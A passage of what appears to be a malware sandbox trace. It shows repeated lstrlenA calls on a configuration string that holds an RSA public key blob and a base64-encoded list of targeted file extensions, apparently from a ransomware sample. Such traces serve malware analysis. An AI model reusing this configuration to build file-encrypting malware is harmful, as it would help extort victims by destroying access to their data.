ZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.402] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.402] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.402] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.402] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsI